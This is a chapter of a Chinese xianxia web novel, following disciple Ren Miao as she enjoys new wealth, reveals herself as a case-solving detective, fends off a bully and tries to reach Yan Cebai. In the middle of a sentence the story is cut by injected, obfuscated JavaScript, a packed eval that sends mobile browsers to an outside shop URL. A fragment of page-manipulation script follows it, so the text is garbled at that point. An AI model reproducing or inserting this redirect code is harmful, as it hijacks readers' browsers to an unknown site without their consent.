没了燕策白在门外敲敲打打,任妙这一晚睡得特别香。
翌日她睁开眼睛,坐起身来首先看见架上一大堆聚灵丹,视线往旁边一转,便是璀璨夺目的金银玉器。有底座的排成一线,有持柄的挂在高处,啥都没有的被她拿小木块卡得安安稳稳,一眼望去排列齐整,光彩夺目。
任妙霎时神清气爽,一点困顿的感觉都没了。
这就是有钱人的乐趣吗。
她又想到自己腰牌里有十余万灵石,脸上不由得浮现出一个真心实意的笑。
生活真是美好啊。
昨日已是任妙告假的最后一天,所以今日,她要如往常一样按时去做早功了。
任妙收拾好了推门出去,一抬头却见门前草地空空荡荡,忍不住放慢脚步。
不对啊,燕策白昨天不是在这搭了个灶吗?
她疑惑地走到印象中的地点,蹲下来细细观察,看到泥土和杂草有被压出的一小圈明显痕迹,说明其上重物刚刚移走不久。
他跑的时候那么着急,竟还记得收走他那块妖兽脊背?
任妙颇为遗憾地拍了拍手。她还道这样好的锅和灶要留下来给她用呢,可惜了。
她从炊堂买了包子拿在手上,边吃边往前门广场走,咬第一口时忽然想起自己现在可是有钱人了,怎么居然还在吃包子?
万东衡那样的富家子弟是怎么吃早食的来着?
好像是每种样式都点了一份,然后各吃一口,吃不完的打发给其他小弟,小弟们再有剩就通通丢掉。
任妙搓搓手臂,一阵恶寒。还是算了吧,别染上这种造孽的富贵病。
她刚在广场上站定,就见罗潇宵甩着两条手臂凑过来:“你猜我刚才听到了什么?”
任妙看她一眼,这人两手换了新纱布,脸上的伤痕在洗干净后更加明显:“你手好了?”
“没有,”她心虚道,“放心吧我是来打听消息的,不是来练功的——你知道吗?方才他们在讨论一个比燕师兄还厉害的人!”
任妙心道她的生活里能不能有一天没有燕策白,一边顺嘴应道:“意思是我们这儿出了个金境高手?”那可真稀奇了,掌门不得大摆三天三夜的啊。
“不是不是,不是这个层面的,”罗潇宵本想故作高深地摇摇手指,发现手指还举不起来,“他另一个身份是戒律堂执掌不是吗?大家都道燕师兄人中翘楚处处第一,结果在探案一事上,竟有人能先他一步,摘得功劳。”
任妙忽然有种奇怪的预感:“你说的是……”
“那人叫社君,听起来不像是真名,应当是字或者号……戒律堂的结案公示你知道吧?上面明明白白写着是她破了燕师兄的案子,”罗潇宵压低声音,“其实就是程文那事儿——我记着这案子不是我们也有插手吗?所以……你见没见过这号人物?”
任妙总算反应过来。
都怪元思若突然发难,她还没来得及告诉罗潇宵程文一事的来龙去脉呢。
她给燕策白留名字不过是一时起意,顺道过过嘴瘾,涮一下这位首席,当时在场也就他们二人而已,若燕策白不想破坏他完美无缺的风评,只要不听她的,按自己名字结案即可。
谁知他竟真的署了她的名字?
任妙从前听说燕策白还有个执掌身份时很是嗤之以鼻,按这些天龙人的惯例,这名头不过是给首席加光环用的,可能他并不具备坐这个位子的能力。
现在她或许要犹豫一下了,毕竟燕策白的确有些公正在身上。
任妙无奈地靠近罗潇宵,指了指自己。
罗潇宵一脸莫名地看着她。
此处人多嘴杂,她只好又比划了一下脸,描出面具上竖起的老鼠耳朵。
罗潇宵瞪大了眼睛。
“我……你……等等——你?”
任妙笑眯眯地点头,伸出食指“嘘”了一声,忽然一股大力猛地抓住她辫子,猝不及防拽着她脑袋往后拉。
任妙不受控制地翻过脸来,身体失去平衡差点就要吃个仰倒,好在她前几日刚刚经历过一场苦战,神经仍微微紧绷,对不利境况反应无比迅速,飞快顺着辫子扣住对方手腕,顺着身体歪斜方向将腰猛地一转,那人立刻松开她的辫子,口中发出巨大嚎叫声。
“啊!我的手!你你你,还不快放开!”万东衡拼命去抓自己被任妙扭住的手,姿势扭曲,招来不少人看热闹的窃笑。
嘁。任妙轻嗤一声,顺道拍拍罗潇宵的手臂,暗示她离远些。
放就放。
她应声松手,万东衡马上像兔子一样弹出去好远:“你想死啊!我这可是用剑的手!内门晋升在即,扭出个好歹你赔得起吗!”
“原来是万少,失礼失礼,”任妙嘻嘻笑道,“我道是谁在背后同我逗乐,所以我也闹着玩呢。”
死丫头手劲怎么这么大!往日这样顺手欺负她一下,也没见她反抗呀!万东衡疼得脸色铁青,恨恨道:“你管这叫闹着玩?你给我等着,看我不……”
“唉,我连武器都没拿,怎么会把英明神武的万少如何呢?大家都知道我比试常年拿倒数第一的嘛,对不对?”任妙抢道,眼见万东衡被狠狠一噎,咽下后半截话去,“多日不见,万少果然还是那么会说笑。”
承认吧,岂不是说明自己连倒数第一都不如?不承认吧,难道就这样放过她?
万东衡感觉到周围弟子若有似无的眼神及窃窃私语,咬牙选了后者:“我自然……自然不会被你怎样!滚过来,我有事问你!”
任妙慢悠悠踱过去,却听万东衡压低声音道:“我问你,你这两日……有没有见过元思若?”
听说元大小姐昨日起便未再露面,接着毫无缘由突然告假,说是归期不定,弟子间也传出不少风言风语,说她并非回家探亲或外出办事,而是仍旧留在宗门内……
养病。
这该死的传言一出,万家人就坐不住了。本来他们也不过是二流世家,当初为塞人入门表忠心,拍着胸口和元家保证,万家扶不上墙的小子只要能入剑宗,一定鞍前马后好好照看元大小姐,不让她受一点委屈。故万东衡托了元家的福进来,也只能唯元思若马首是瞻,元思若看不爽任妙,他就必不能给任妙好果子吃。
万家家主传讯给万东衡时,他还在同小弟们一块玩骰子,接通后被劈头盖脸好一顿骂。万家命他赶紧找出元思若告假的因由,尽早亡羊补牢,该赔罪赔罪,该帮忙出气就帮忙出气。
万东衡出身再怎么二流,照样有三流四流子弟为他卖命,日子久了,便也对听命元思若这事烦躁不已。然而家族命令不可违逆,他还是得想办法搞清楚,这大小姐究
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683128|206399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竟出了什么事。
他回忆许久,忽然想到前段日子,元思若总是分外关心任妙的动向,恨不得一天叫他打听八百回,也不知是准备找任妙什么麻烦。
可任妙现在好端端站在这,怎么反倒是元思若养病去了?
元思若能有什么病?修道之人向来身强体健于凡人百姓,像她这样离乌境只差临门一脚的,修为更是高过他们不止一点,十年也不见得生病一回。
若不是养病,便还有一个可能——养伤。
外门之内,谁能伤她?
任妙听见元思若的名字,垂下眼睛避开万东衡的视线,暗暗控制自己的面部表情:“自然没有。我告了多日病假,元大小姐都没法差遣我了,既是无事吩咐,又怎会特地与我见面?”
万东衡觉得有理,但他现下只有这一条线索,于是不死心地盯着她:“当真?你敢骗我试试?”
任妙神色如常:“当真。我又哪敢过问她的去向?”
也是。他自己都不敢在骄纵跋扈的大小姐面前多嘴呢。
万东衡悻悻地后退两步,还不忘放狠话:“若是让我知道你骗我……小心我打断你的腿!”
任妙边低下头来应是,边想起元思若膝盖上结结实实的贯穿。
可惜,腿坏了的另有其人。
此时师长已至,见场中众人围观热闹,无人练功,不得不轻咳一声:“大家要勤勉早功,不得懈怠。距内门晋升比试唯余三月时日,若此次无法通过考核进入内门,便只有再等一年了。”
在场弟子虽多是少爷小姐心性,但既然踏上修道之路,都是想着做出一番事业的,听毕师长的话,皆摸出剑来,作鸟兽散了。
任妙一愣。近日一心扑在生意上,变故又频频发生,几乎让她无暇分心太多,师长提醒她才惊觉,内门晋升比试……竟然只剩下三月时日了么?
其实她每一年都拼尽了全力,可碍于体质,成效甚微,只能一连拿了五年末位,但这次……
她望着自己虎口的撕裂伤,微微出神。
这次……会不会有一点不一样?
可她如何调用这力量呢?她连这是什么都不知道,就算找人或雇人补习,要将这秘密和盘托出,其人又如何信得过……
等等。
任妙眼睛一亮。
她突然想起一个绝佳的人选。
午后课毕,她寻了个角落掏出腰牌,开始连接此人的通讯。
腰牌光芒呼吸般忽明忽暗,等待着对面的回音。任妙起初还认真打了腹稿,耐心地蹲在草地上数秒,随着时间一分一秒流逝,她将腰牌检查了又检查,还是没等到对方同意通讯。
这下任妙就算再怎么迟钝也该发现了——这人在躲她。
任妙冷笑。比耐心是吗,她以一副差劲之极的体质坚持修了五年道都没放弃,她就不信谁能比她更有耐心。
她倔劲上来了,一路走一路连,吃晚饭时手也一刻没闲着,直到日落西山回到住处也没有停止。
终于在不知第多少次请求通讯后,对面终于传来细微隐约的呼吸声。
不说话是吧?任妙哼一声,径直开口道:“燕师兄,我……”
通讯猛地被掐断。
任妙难以置信地看着光芒熄灭的腰牌。
什么人啊这是!